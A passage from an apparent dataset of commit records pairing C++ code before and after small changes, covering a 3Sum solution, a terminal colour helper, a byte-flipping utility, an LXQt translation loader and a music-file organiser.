{"text":"<commit_before>#include <iostream>\n#include <unordered_map>\n#include <vector>\n\nusing namespace std;\n\nclass Solution {\n    \npublic:\n    vector<vector<int> > threeSum(vector<int> &num) {\n        \n        vector<vector<int>>r;\n        if(num.size() < 3) return r;\n        \n        sort(num.begin(), num.end());\n        int buf1(INT_MAX),buf2(INT_MAX),buf3(INT_MAX);\n        \n        for(int i = 0;i < num.size()-2;)\n        {\n            int remain = -num[i];\n            int j = i+1;\n            int k = num.size()-1;\n            \n            while(j < k && j < num.size()-1)\n            {\n                int tmp = num[j] + num[k];\n                if(tmp == remain)\n                {\n                    int a[3] = {num[i], num[j], num[k]};\n                    vector<int> v(a, a+3);\n                    \n                    if(num[i] == buf1 && num[j] == buf2 && num[k] == buf3)\n                    {} else {\n                        buf1 = num[i];\n                        buf2 = num[j];\n                        buf3 = num[k];\n                        r.push_back(v);\n                    }\n                    j++;\n                    k--;\n                }\n                else if(tmp > remain) k--;\n                else j++;\n            }\n            \n            do {\n                i++;\n            }\n            while(i < num.size() && num[i-1] == num[i]);\n            \n        }\n        \n        return r;\n    }\n    \n};\n\nint main()\n{\n    Solution s;\n    int a[] = {-2, 0, 1, 1, 2};\n    vector<int> v(a, a+5);\n    cout << s.threeSum(v).size();\n    \n    return 0;\n}<commit_msg>15. 3Sum<commit_after>class Solution {\n    \npublic:\n    vector<vector<int> > threeSum(vector<int> &num) {\n        vector<vector<int>> result;\n        if (num.size() < 3) return result;\n        \n        sort(num.begin(), num.end());\n        int buf1(INT_MAX), buf2(INT_MAX), buf3(INT_MAX);\n        \n        for (int i = 0;i < num.size()-2;) {\n            int remain = -num[i];\n            int j = i+1;\n            int k = num.size()-1;\n            \n            while (j < k && j < num.size()-1) {\n                int tmp = num[j] + num[k];\n                if (tmp == remain) {\n                    int a[3] = {num[i], num[j], num[k]};\n                    vector<int> v(a, a+3);\n                    if (!(num[i] == buf1 && num[j] == buf2 && num[k] == buf3)) {\n                        buf1 = num[i];\n                        buf2 = num[j];\n                        buf3 = num[k];\n                        result.push_back(v);\n                    }\n                    j++;\n                    k--;\n                }\n                else if (tmp > remain) k--;\n                else j++;\n            }\n            \n            do {\n                i++;\n            }\n            while (i < num.size() && num[i-1] == num[i]);\n        }\n        return result;\n    }\n    \n};\n<|endoftext|>"}
{"text":"<commit_before>#pragma once\n\n#include <algorithm>\n#include <cassert>\n#include <climits>\n#include <complex>\n#include <cstdio>\n#include <cstring>\n#include <functional>\n#include <map>\n#include <numeric>\n#include <iostream>\n#include <iterator>\n#include <queue>\n#include <random>\n#include <set>\n#include <string>\n#include <tuple>\n#include <vector>\n\nusing namespace std;\n\nusing ll = long long;\nusing ld = long double;\n\ntemplate<typename T> T inf;\ntemplate<> constexpr int inf<int> = 1e9;\ntemplate<> constexpr ll inf<ll> = 1e18;\ntemplate<> constexpr ld inf<ld> = 1e30;\n<commit_msg>Add include<array><commit_after>#pragma once\n\n#include <algorithm>\n#include <array>\n#include <cassert>\n#include <climits>\n#include <complex>\n#include <cstdio>\n#include <cstring>\n#include <functional>\n#include <map>\n#include <numeric>\n#include <iostream>\n#include <iterator>\n#include <queue>\n#include <random>\n#include <set>\n#include <string>\n#include <tuple>\n#include <vector>\n\nusing namespace std;\n\nusing ll = long long;\nusing ld = long double;\n\ntemplate<typename T> T inf;\ntemplate<> constexpr int inf<int> = 1e9;\ntemplate<> constexpr ll inf<ll> = 1e18;\ntemplate<> constexpr ld inf<ld> = 1e30;\n<|endoftext|>"}
{"text":"<commit_before>#include \"soac.h\"\n\nstd::string Changer::Apply(std::string val) {\n    tmp << \"\\x1b[\" << attr << \";\" << fg << \";\" << bg << \"m\" << val << \"\\x1b[0m\";\n    std::string tmptmp = tmp.str();\n    tmp.str(\"\");\n    return tmptmp;\n}\n\nstd::string Changer::Apply(int val) {\n    tmp << \"\\x1b[\" << attr << \";\" << fg << \";\" << bg << \"m\" << val << \"\\x1b[0m\";\n    std::string tmptmp = tmp.str();\n    tmp.str(\"\");\n    return tmptmp;\n}\n\n\nChanger* Changer::black() {\n    fg = Black;\n    return this;\n}\n\nChanger* Changer::red() {\n    fg = Red;\n    return this;\n}\n\n\nChanger* Changer::green() {\n    fg = Green;\n    return this;\n}\n\nChanger* Changer::yellow() {\n    fg = Yellow;\n    return this;\n}\n\nChanger* Changer::blue() {\n    fg = Blue;\n    return this;\n}\n\nChanger* Changer::magenda() {\n    fg = Magenda;\n    return this;\n}\n\nChanger* Changer::cyan() {\n    fg = Cyan;\n    return this;\n}\n\nChanger* Changer::white() {\n    fg = White;\n    return this;\n}\n\nChanger* Changer::reset() {\n    attr = Reset;\n    return this;\n}\n\nChanger* Changer::bold() {\n    attr = Bold;\n    return this;\n}\n\nChanger* Changer::faint() {\n    attr = Faint;\n    return this;\n}\n\nChanger* Changer::italic() {\n    attr = Italic;\n    return this;\n}\n\nChanger* Changer::underline() {\n    attr = Underline;\n    return this;\n}\n\nChanger* Changer::blink1() {\n    attr = Blink1;\n    return this;\n}\n\nChanger* Changer::blink2() {\n    attr = Blink2;\n    return this;\n}\n\nChanger* Changer::reverse() {\n    attr = Reverse;\n    return this;\n}\n\nChanger* Changer::concealed() {\n    attr = Concealed;\n    return this;\n}\n\nChanger* Changer::crossedout() {\n    attr = Crossedout;\n    return this;\n}\n\nChanger* Changer::bgBlack() {\n    fg = BgBlack;\n    return this;\n}\n\nChanger* Changer::bgRed() {\n    fg = BgRed;\n    return this;\n}\n\n\nChanger* Changer::bgGreen() {\n    fg = BgGreen;\n    return this;\n}\n\nChanger* Changer::bgYellow() {\n    fg = BgYellow;\n    return this;\n}\n\nChanger* Changer::bgBlue() {\n    fg = BgBlue;\n    return this;\n}\n\nChanger* Changer::bgMagenda() {\n    fg = BgMagenda;\n    return this;\n}\n\nChanger* Changer::bgCyan() {\n    fg = BgCyan;\n    return this;\n}\n\nChanger* Changer::bgWhite() {\n    fg = BgWhite;\n    return this;\n}\n\nint main() {\n    return 0;\n}\n<commit_msg>fix bug<commit_after>#include \"soac.h\"\n\nstd::string Changer::Apply(std::string val) {\n    tmp << \"\\x1b[\" << attr << \";\" << fg << \";\" << bg << \"m\" << val << \"\\x1b[0m\";\n    std::string tmptmp = tmp.str();\n    tmp.str(\"\");\n    return tmptmp;\n}\n\nstd::string Changer::Apply(int val) {\n    tmp << \"\\x1b[\" << attr << \";\" << fg << \";\" << bg << \"m\" << val << \"\\x1b[0m\";\n    std::string tmptmp = tmp.str();\n    tmp.str(\"\");\n    return tmptmp;\n}\n\n\nChanger* Changer::black() {\n    fg = Black;\n    return this;\n}\n\nChanger* Changer::red() {\n    fg = Red;\n    return this;\n}\n\n\nChanger* Changer::green() {\n    fg = Green;\n    return this;\n}\n\nChanger* Changer::yellow() {\n    fg = Yellow;\n    return this;\n}\n\nChanger* Changer::blue() {\n    fg = Blue;\n    return this;\n}\n\nChanger* Changer::magenda() {\n    fg = Magenda;\n    return this;\n}\n\nChanger* Changer::cyan() {\n    fg = Cyan;\n    return this;\n}\n\nChanger* Changer::white() {\n    fg = White;\n    return this;\n}\n\nChanger* Changer::reset() {\n    attr = Reset;\n    return this;\n}\n\nChanger* Changer::bold() {\n    attr = Bold;\n    return this;\n}\n\nChanger* Changer::faint() {\n    attr = Faint;\n    return this;\n}\n\nChanger* Changer::italic() {\n    attr = Italic;\n    return this;\n}\n\nChanger* Changer::underline() {\n    attr = Underline;\n    return this;\n}\n\nChanger* Changer::blink1() {\n    attr = Blink1;\n    return this;\n}\n\nChanger* Changer::blink2() {\n    attr = Blink2;\n    return this;\n}\n\nChanger* Changer::reverse() {\n    attr = Reverse;\n    return this;\n}\n\nChanger* Changer::concealed() {\n    attr = Concealed;\n    return this;\n}\n\nChanger* Changer::crossedout() {\n    attr = Crossedout;\n    return this;\n}\n\nChanger* Changer::bgBlack() {\n    bg = BgBlack;\n    return this;\n}\n\nChanger* Changer::bgRed() {\n    bg = BgRed;\n    return this;\n}\n\n\nChanger* Changer::bgGreen() {\n    bg = BgGreen;\n    return this;\n}\n\nChanger* Changer::bgYellow() {\n    bg = BgYellow;\n    return this;\n}\n\nChanger* Changer::bgBlue() {\n    bg = BgBlue;\n    return this;\n}\n\nChanger* Changer::bgMagenda() {\n    bg = BgMagenda;\n    return this;\n}\n\nChanger* Changer::bgCyan() {\n    bg = BgCyan;\n    return this;\n}\n\nChanger* Changer::bgWhite() {\n    bg = BgWhite;\n    return this;\n}\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <stdlib.h>\n#include <stdio.h>\n\nusing namespace std;\n\nint StringToInt(const char* str, bool &err);\nint FlipByte(int number);\n\nvoid PrintUsage();\n\nint main(int argc, char* argv[])\n{\n    \/\/cout << \"Hello, World!\" << endl;\n\n    if ( argc != 2 )\n    {\n        cout << \"Invalid number of arguments.\" << endl;\n        PrintUsage();\n        return 1;\n    }\n\n    bool err = false;\n    int number = StringToInt(argv[1], err);\n\n    if ( err )\n    {\n        cout << \"Argument is not a valid number.\" << endl;\n        PrintUsage();\n        return 1;\n    }\n\n    if ( number < 0 || number > 255 )\n    {\n        cout << \"Specified number exceed the limits [0, 255].\" << endl;\n        return 1;\n    }\n\n    number = FlipByte(number);\n    cout << number;\n\n    return 0;\n}\n\nint StringToInt(const char* str, bool &err)\n{\n    char * pLastChar = NULL;\n    int param = strtol(str, &pLastChar, 10);\n    err = ((*str == '\\0') || (*pLastChar != '\\0'));\n    return param;\n}\n\nint FlipByte(int number)\n{\n    int result = 0;\n\n    result = ( ( number & 128 ) >> 7 ) |\n            ( ( number & 64 ) >> 5 )   |\n            ( ( number & 32 ) >> 3)    |\n            ( ( number & 16 ) >> 1 )   |\n            ( ( number & 8 )  << 1 )   |\n            ( ( number & 4 )  << 3 )   |\n            ( ( number & 2 )  << 5 )   |\n            ( ( number & 1 )  << 7 );\n\n    return result;\n}\n\nvoid PrintUsage()\n{\n    cout << \"flipbyte.exe <number>\" << endl;\n}\n<commit_msg>Убрал закомментированный код.<commit_after>#include <iostream>\n#include <stdlib.h>\n#include <stdio.h>\n\nusing namespace std;\n\nint StringToInt(const char* str, bool &err);\nint FlipByte(int number);\n\nvoid PrintUsage();\n\nint main(int argc, char* argv[])\n{\n    if ( argc != 2 )\n    {\n        cout << \"Invalid number of arguments.\" << endl;\n        PrintUsage();\n        return 1;\n    }\n\n    bool err = false;\n    int number = StringToInt(argv[1], err);\n\n    if ( err )\n    {\n        cout << \"Argument is not a valid number.\" << endl;\n        PrintUsage();\n        return 1;\n    }\n\n    if ( number < 0 || number > 255 )\n    {\n        cout << \"Specified number exceed the limits [0, 255].\" << endl;\n        return 1;\n    }\n\n    number = FlipByte(number);\n    cout << number;\n\n    return 0;\n}\n\nint StringToInt(const char* str, bool &err)\n{\n    char * pLastChar = NULL;\n    int param = strtol(str, &pLastChar, 10);\n    err = ((*str == '\\0') || (*pLastChar != '\\0'));\n    return param;\n}\n\nint FlipByte(int number)\n{\n    int result = 0;\n\n    result = ( ( number & 128 ) >> 7 ) |\n            ( ( number & 64 ) >> 5 )   |\n            ( ( number & 32 ) >> 3)    |\n            ( ( number & 16 ) >> 1 )   |\n            ( ( number & 8 )  << 1 )   |\n            ( ( number & 4 )  << 3 )   |\n            ( ( number & 2 )  << 5 )   |\n            ( ( number & 1 )  << 7 );\n\n    return result;\n}\n\nvoid PrintUsage()\n{\n    cout << \"flipbyte.exe <number>\" << endl;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * LXQt - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2013 LXQt team\n * Authors:\n *   Alexander Sokoloff <sokoloff.a@gmail.com>\n     Luís Pereira <luis.artur.pereira@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include \"lxqttranslator.h\"\n#include <QTranslator>\n#include <QLocale>\n#include <QDebug>\n#include <QCoreApplication>\n#include <QLibraryInfo>\n#include <QStringList>\n#include <QStringBuilder>\n#include <QFileInfo>\n\n#include <XdgDirs>\n\nusing namespace LXQt;\n\nbool translate(const QString &name, const QString &owner = QString());\n\/************************************************\n\n ************************************************\/\nQStringList *getSearchPaths()\n{\n    static QStringList *searchPath = 0;\n\n    if (searchPath == 0)\n    {\n        searchPath = new QStringList();\n        *searchPath << QString(LXQT_SHARE_TRANSLATIONS_DIR);\n        *searchPath << XdgDirs::dataDirs(QLatin1Char('\/') % LXQT_RELATIVE_SHARE_TRANSLATIONS_DIR);\n        searchPath->removeDuplicates();\n    }\n\n    return searchPath;\n}\n\n\n\/************************************************\n\n ************************************************\/\nQStringList LXQt::Translator::translationSearchPaths()\n{\n    return *(getSearchPaths());\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid Translator::setTranslationSearchPaths(const QStringList &paths)\n{\n    QStringList *p = getSearchPaths();\n    p->clear();\n    *p << paths;\n}\n\n\n\/************************************************\n\n ************************************************\/\nbool translate(const QString &name, const QString &owner)\n{\n    const QString locale = QLocale::system().name();\n    QTranslator *appTranslator = new QTranslator(qApp);\n\n    QStringList *paths = getSearchPaths();\n    foreach(const QString &path, *paths)\n    {\n        QStringList subPaths;\n\n        if (!owner.isEmpty())\n        {\n            subPaths << path % QChar('\/') % owner % QChar('\/') % name;\n        }\n        else\n        {\n            subPaths << path % QChar('\/') % name;\n            subPaths << path;\n        }\n\n        foreach(const QString &p, subPaths)\n        {\n            if (appTranslator->load(name + \"_\" + locale, p))\n            {\n                QCoreApplication::installTranslator(appTranslator);\n                return true;\n            }\n            else if (locale == QLatin1String(\"C\") ||\n                        locale.startsWith(QLatin1String(\"en\")))\n            {\n                \/\/ English is the default. Even if there isn't an translation\n                \/\/ file, we return true. It's translated anyway.\n                delete appTranslator;\n                return true;\n            }\n        }\n    }\n\n    \/\/ If we got here, no translation was loaded. appTranslator has no use.\n    delete appTranslator;\n    return false;\n}\n\n\n\/************************************************\n\n ************************************************\/\nbool Translator::translateApplication(const QString &applicationName)\n{\n    const QString locale = QLocale::system().name();\n    QTranslator *qtTranslator = new QTranslator(qApp);\n\n    if (qtTranslator->load(\"qt_\" + locale, QLibraryInfo::location(QLibraryInfo::TranslationsPath)))\n    {\n        qApp->installTranslator(qtTranslator);\n    }\n    else\n    {\n        delete qtTranslator;\n    }\n\n    if (!applicationName.isEmpty())\n        return translate(applicationName);\n    else\n        return translate(QFileInfo(QCoreApplication::applicationFilePath()).baseName());\n}\n\n\n\/************************************************\n\n ************************************************\/\nbool Translator::translateLibrary(const QString &libraryName)\n{\n    static QSet<QString> loadedLibs;\n\n    if (loadedLibs.contains(libraryName))\n        return true;\n\n    loadedLibs.insert(libraryName);\n\n    return translate(libraryName);\n}\n\nbool Translator::translatePlugin(const QString &pluginName, const QString& type)\n{\n    static QSet<QString> loadedPlugins;\n\n    const QString fullName = type % QChar('\/') % pluginName;\n    if (loadedPlugins.contains(fullName))\n        return true;\n\n    loadedPlugins.insert(pluginName);\n    return translate(pluginName, type);\n}\n\nstatic void loadSelfTranslation()\n{\n    Translator::translateLibrary(QLatin1String(\"liblxqt\"));\n}\n\nQ_COREAPP_STARTUP_FUNCTION(loadSelfTranslation)\n<commit_msg>Translator: Prefer XDG_DATA_DIRS over compiled in path<commit_after>\/* BEGIN_COMMON_COPYRIGHT_HEADER\n * (c)LGPL2+\n *\n * LXQt - a lightweight, Qt based, desktop toolset\n * http:\/\/razor-qt.org\n *\n * Copyright: 2013 LXQt team\n * Authors:\n *   Alexander Sokoloff <sokoloff.a@gmail.com>\n     Luís Pereira <luis.artur.pereira@gmail.com>\n *\n * This program or library is free software; you can redistribute it\n * and\/or modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n\n * You should have received a copy of the GNU Lesser General\n * Public License along with this library; if not, write to the\n * Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor,\n * Boston, MA 02110-1301 USA\n *\n * END_COMMON_COPYRIGHT_HEADER *\/\n\n#include \"lxqttranslator.h\"\n#include <QTranslator>\n#include <QLocale>\n#include <QDebug>\n#include <QCoreApplication>\n#include <QLibraryInfo>\n#include <QStringList>\n#include <QStringBuilder>\n#include <QFileInfo>\n\n#include <XdgDirs>\n\nusing namespace LXQt;\n\nbool translate(const QString &name, const QString &owner = QString());\n\/************************************************\n\n ************************************************\/\nQStringList *getSearchPaths()\n{\n    static QStringList *searchPath = 0;\n\n    if (searchPath == 0)\n    {\n        searchPath = new QStringList();\n        *searchPath << XdgDirs::dataDirs(QLatin1Char('\/') % LXQT_RELATIVE_SHARE_TRANSLATIONS_DIR);\n        *searchPath << QString(LXQT_SHARE_TRANSLATIONS_DIR);\n        searchPath->removeDuplicates();\n    }\n\n    return searchPath;\n}\n\n\n\/************************************************\n\n ************************************************\/\nQStringList LXQt::Translator::translationSearchPaths()\n{\n    return *(getSearchPaths());\n}\n\n\n\/************************************************\n\n ************************************************\/\nvoid Translator::setTranslationSearchPaths(const QStringList &paths)\n{\n    QStringList *p = getSearchPaths();\n    p->clear();\n    *p << paths;\n}\n\n\n\/************************************************\n\n ************************************************\/\nbool translate(const QString &name, const QString &owner)\n{\n    const QString locale = QLocale::system().name();\n    QTranslator *appTranslator = new QTranslator(qApp);\n\n    QStringList *paths = getSearchPaths();\n    foreach(const QString &path, *paths)\n    {\n        QStringList subPaths;\n\n        if (!owner.isEmpty())\n        {\n            subPaths << path % QChar('\/') % owner % QChar('\/') % name;\n        }\n        else\n        {\n            subPaths << path % QChar('\/') % name;\n            subPaths << path;\n        }\n\n        foreach(const QString &p, subPaths)\n        {\n            if (appTranslator->load(name + \"_\" + locale, p))\n            {\n                QCoreApplication::installTranslator(appTranslator);\n                return true;\n            }\n            else if (locale == QLatin1String(\"C\") ||\n                        locale.startsWith(QLatin1String(\"en\")))\n            {\n                \/\/ English is the default. Even if there isn't an translation\n                \/\/ file, we return true. It's translated anyway.\n                delete appTranslator;\n                return true;\n            }\n        }\n    }\n\n    \/\/ If we got here, no translation was loaded. appTranslator has no use.\n    delete appTranslator;\n    return false;\n}\n\n\n\/************************************************\n\n ************************************************\/\nbool Translator::translateApplication(const QString &applicationName)\n{\n    const QString locale = QLocale::system().name();\n    QTranslator *qtTranslator = new QTranslator(qApp);\n\n    if (qtTranslator->load(\"qt_\" + locale, QLibraryInfo::location(QLibraryInfo::TranslationsPath)))\n    {\n        qApp->installTranslator(qtTranslator);\n    }\n    else\n    {\n        delete qtTranslator;\n    }\n\n    if (!applicationName.isEmpty())\n        return translate(applicationName);\n    else\n        return translate(QFileInfo(QCoreApplication::applicationFilePath()).baseName());\n}\n\n\n\/************************************************\n\n ************************************************\/\nbool Translator::translateLibrary(const QString &libraryName)\n{\n    static QSet<QString> loadedLibs;\n\n    if (loadedLibs.contains(libraryName))\n        return true;\n\n    loadedLibs.insert(libraryName);\n\n    return translate(libraryName);\n}\n\nbool Translator::translatePlugin(const QString &pluginName, const QString& type)\n{\n    static QSet<QString> loadedPlugins;\n\n    const QString fullName = type % QChar('\/') % pluginName;\n    if (loadedPlugins.contains(fullName))\n        return true;\n\n    loadedPlugins.insert(pluginName);\n    return translate(pluginName, type);\n}\n\nstatic void loadSelfTranslation()\n{\n    Translator::translateLibrary(QLatin1String(\"liblxqt\"));\n}\n\nQ_COREAPP_STARTUP_FUNCTION(loadSelfTranslation)\n<|endoftext|>"}
{"text":"<commit_before>#include \"Audioscrobbler.h\"\n#include \"Database.h\"\n#include \"Debug.h\"\n#include \"FileNamer.h\"\n#include \"Levenshtein.h\"\n#include \"Locutus.h\"\n#include \"Matcher.h\"\n#include \"Metafile.h\"\n#include \"PostgreSQL.h\"\n\/\/#include \"PUIDGenerator.h\"\n#include \"MusicBrainz.h\"\n\nusing namespace std;\n\n\/* constructors\/destructor *\/\nLocutus::Locutus(Database *database) : database(database) {\n\taudioscrobbler = new Audioscrobbler(database);\n\tfilenamer = new FileNamer(database);\n\t\/\/puidgen = new PUIDGenerator();\n\tmusicbrainz = new MusicBrainz(database);\n\tmatcher = new Matcher(database, musicbrainz);\n\n\tlookup_genre = database->loadSettingBool(LOOKUP_GENRE_KEY, LOOKUP_GENRE_VALUE, LOOKUP_GENRE_DESCRIPTION);\n\tinput_dir = database->loadSettingString(MUSIC_INPUT_KEY, MUSIC_INPUT_VALUE, MUSIC_INPUT_DESCRIPTION);\n\tif (input_dir.size() <= 0 || input_dir[input_dir.size() - 1] != '\/')\n\t\tinput_dir.push_back('\/');\n\toutput_dir = database->loadSettingString(MUSIC_OUTPUT_KEY, MUSIC_OUTPUT_VALUE, MUSIC_OUTPUT_DESCRIPTION);\n\tif (output_dir.size() <= 0 || output_dir[output_dir.size() - 1] != '\/')\n\t\toutput_dir.push_back('\/');\n}\n\nLocutus::~Locutus() {\n\tclearFiles();\n\tdelete audioscrobbler;\n\t\/\/delete puidgen;\n\tdelete matcher;\n\tdelete musicbrainz;\n\tdelete filenamer;\n}\n\n\/* static methods *\/\nvoid Locutus::trim(string *text) {\n\tif (text == NULL)\n\t\treturn;\n\tstring::size_type pos = text->find_last_not_of(\" \\t\\n\");\n\tif (pos != string::npos)\n\t\ttext->erase(pos + 1);\n\tpos = text->find_first_not_of(\" \\t\\n\");\n\tif (pos != string::npos)\n\t\ttext->erase(0, pos);\n\tif (text->size() > 0 && text->at(0) == ' ')\n\t\ttext->erase();\n}\n\n\/* methods *\/\nlong Locutus::run() {\n\t\/* remove file entries where file doesn't exist *\/\n\tremoveGoneFiles();\n\t\/* parse sorted directory *\/\n\tDebug::info(\"Scanning output directory\");\n\tscanFiles(output_dir);\n\t\/* parse unsorted directory *\/\n\tDebug::info(\"Scanning input directory\");\n\tscanFiles(input_dir);\n\t\/* match files *\/\n\tfor (map<string, vector<Metafile *> >::iterator gf = grouped_files.begin(); gf != grouped_files.end(); ++gf) {\n\t\tmatcher->match(gf->first, gf->second);\n\t\t\/* save files with new metadata *\/\n\t\tfor (vector<Metafile *>::iterator f = gf->second.begin(); f != gf->second.end(); ++f) {\n\t\t\tif (!(*f)->metadata_changed)\n\t\t\t\tcontinue;\n\t\t\tsaveFile(*f);\n\t\t}\n\t}\n\t\/* submit new puids? *\/\n\t\/\/ TODO\n\t\/* return *\/\n\treturn 10000;\n}\n\n\/* private methods *\/\nvoid Locutus::clearFiles() {\n\tfor (map<string, vector<Metafile *> >::iterator group = grouped_files.begin(); group != grouped_files.end(); ++group) {\n\t\tfor (vector<Metafile *>::iterator file = group->second.begin(); file != group->second.end(); ++file)\n\t\t\tdelete (*file);\n\t}\n\tgrouped_files.clear();\n}\n\nstring Locutus::findDuplicateFilename(Metafile *file) {\n\t\/* find a name for a duplicate *\/\n\tstring tmp_filename = input_dir;\n\ttmp_filename.append(\"duplicates\/\");\n\tstring tmp_gen_filename = filenamer->getFilename(file);\n\tstring::size_type pos = tmp_gen_filename.find_last_of('.');\n\tstring tmp_extension = (pos == string::npos) ? \"\" : tmp_gen_filename.substr(pos);\n\ttmp_filename.append(tmp_gen_filename.substr(0, pos));\n\n\tostringstream tmp;\n\ttmp << tmp_filename << tmp_extension;\n\tif (tmp.str() == file->filename)\n\t\treturn file->filename; \/\/ it's the same file!\n\tstruct stat data;\n\tif (stat(tmp.str().c_str(), &data) != 0) {\n\t\t\/* can seemingly move file here *\/\n\t\treturn tmp.str();\n\t}\n\t\/* file already exist, add \" (<copy>)\" before extension\n\t * until we find an available filename or <copy> reach 100 *\/\n\tfor (int copy = 1; copy < 100; ++copy) {\n\t\ttmp.str(\"\");\n\t\ttmp << tmp_filename << \" (\" << copy << \")\" << tmp_extension;\n\t\tif (stat(tmp.str().c_str(), &data) == 0)\n\t\t\tcontinue;\n\t\t\/* found available filename *\/\n\t\treturn tmp.str();\n\t}\n\treturn file->filename;\n}\n\nbool Locutus::moveFile(Metafile *file, const string &filename) {\n\tstring::size_type start = 0;\n\tstring dirname;\n\tmode_t mode = S_IRUSR | S_IWUSR | S_IXUSR | S_IRGRP | S_IWGRP | S_IXGRP | S_IROTH | S_IXOTH;\n\tstruct stat data;\n\tint result;\n\twhile ((start = filename.find_first_of('\/', start + 1)) != string::npos) {\n\t\tdirname = filename.substr(0, start);\n\t\tresult = stat(dirname.c_str(), &data);\n\t\tif (result == 0 && S_ISDIR(data.st_mode))\n\t\t\tcontinue; \/\/ directory already exist\n\t\tresult = mkdir(dirname.c_str(), mode);\n\t\tif (result == 0)\n\t\t\tcontinue;                                                                                                                      \n\t\t\/* unable to create directory *\/\n\t\tdirname.insert(0, \"Unable to create directory: \");\n\t\tDebug::warning(dirname);\n\t\treturn false;\n\t}\n\tif (stat(filename.c_str(), &data) != 0 && rename(file->filename.c_str(), filename.c_str()) == 0) {\n\t\t\/* was able to move file, let's also try changing the permissions to 0664 *\/\n\t\tmode = S_IRUSR | S_IWUSR | S_IRGRP | S_IWGRP | S_IROTH;\n\t\tchmod(filename.c_str(), mode);\n\t\tfile->filename = filename;\n\t\treturn true;\n\t}\n\t\/* unable to move file for some reason *\/\n\treturn false;\n}\n\nbool Locutus::parseDirectory() {\n\tif (dir_queue.size() <= 0)\n\t\treturn false;\n\tstring directory(*dir_queue.begin());\n\tDebug::info(directory);\n\tdir_queue.pop_front();\n\tDIR *dir = opendir(directory.c_str());\n\tif (dir == NULL)\n\t\treturn true;\n\tdirent *entity;\n\twhile ((entity = readdir(dir)) != NULL) {\n\t\tstring entityname = entity->d_name;\n\t\tif (entityname == \".\" || entityname == \"..\")\n\t\t\tcontinue;\n\t\tstring ford = directory;\n\t\tif (ford[ford.size() - 1] != '\/')\n\t\t\tford.append(\"\/\");\n\t\tford.append(entityname);\n\t\t\/* why isn't always \"entity->d_type == DT_DIR\" when the entity is a directory? *\/\n\t\tDIR *tmpdir = opendir(ford.c_str());\n\t\tif (tmpdir != NULL)\n\t\t\tdir_queue.push_back(ford);\n\t\telse\n\t\t\tfile_queue.push_back(ford);\n\t\tclosedir(tmpdir);\n\t}\n\tclosedir(dir);\n\treturn true;\n}\n\nbool Locutus::parseFile() {\n\tif (file_queue.size() <= 0)\n\t\treturn false;\n\tstring filename(*file_queue.begin());\n\tDebug::info(filename);\n\tfile_queue.pop_front();\n\tMetafile *mf = new Metafile(filename);\n\tif (!database->loadMetafile(mf)) {\n\t\tif (mf->readFromFile()) {\n\t\t\t\/* save file to cache *\/\n\t\t\tdatabase->saveMetafile(*mf);\n\t\t} else {\n\t\t\t\/* unable to read this file *\/\n\t\t\tdelete mf;\n\t\t\treturn false;\n\t\t}\n\t}\n\tmf->meta_lookup = true;\n\tgrouped_files[mf->getGroup()].push_back(mf);\n\treturn true;\n}\n\nvoid Locutus::removeGoneFiles() {\n\tvector<Metafile> files = database->loadMetafiles(\"\");\n\tstruct stat file_info;\n\tfor (vector<Metafile>::iterator f = files.begin(); f != files.end(); ) {\n\t\tif (stat(f->filename.c_str(), &file_info) != 0) {\n\t\t\t\/* file is present, don't remove it from files *\/\n\t\t\t++f;\n\t\t\tcontinue;\n\t\t}\n\t\t\/\/ unable to get info about this file, remove it from files\n\t\tf = files.erase(f);\n\t}\n\tdatabase->removeMetafiles(files);\n}\n\nvoid Locutus::saveFile(Metafile *file) {\n\t\/* genre *\/\n\tif (lookup_genre) {\n\t\tvector<string> tags = audioscrobbler->getTags(file);\n\t\tif (tags.size() > 0)\n\t\t\tfile->genre = tags[0];\n\t\telse\n\t\t\tfile->genre = \"\"; \/\/ clear genre if we didn't find a tag\n\t}\n\t\/* create new filename *\/\n\tstring filename = output_dir;\n\tfilename.append(filenamer->getFilename(file));\n\t\/* check if file (possibly with different extension) already exist *\/\n\tstring filename_without_extension = filename.substr(0, filename.find_last_of('.'));\n\tvector<Metafile> files = database->loadMetafiles(filename_without_extension);\n\tunsigned long file_quality = file->bitrate * file->channels * file->samplerate;\n\tfor (vector<Metafile>::iterator f = files.begin(); f != files.end(); ++f) {\n\t\t\/* it is possible that loadMetafiles() return other tracks which happen\n\t\t * to match current filename (we're searching for 'blabla%' which would\n\t\t * match 'blablabla'), so we need to check that musicbrainz_trackid match *\/\n\t\tif (file->filename == f->filename)\n\t\t\tcontinue; \/\/ it's the exact same file\n\t\tif (file->musicbrainz_trackid != f->musicbrainz_trackid)\n\t\t\tcontinue; \/\/ FIXME: what if we got 2 \"identical\" albums? different track-id, same filename\n\t\tunsigned long old_quality = f->bitrate * f->channels * f->samplerate;\n\t\tif ((old_quality >= file_quality && !file->pinned) || f->pinned) {\n\t\t\t\/* an existing file is better and new file isn't pinned, or old file is pinned.\n\t\t\t * move the new file to duplicates and update its metadata *\/\n\t\t\tfilename = findDuplicateFilename(file);\n\t\t\tbreak;\n\t\t}\n\t\t\/* new file is better *\/\n\t\t\/* find a new name for the existing file *\/\n\t\tstring new_filename = findDuplicateFilename(&*f);\n\t\tif (new_filename == f->filename) {\n\t\t\t\/* couldn't find a new filename for the existing file.\n\t\t\t * we'll set filename to file->filename so we won't 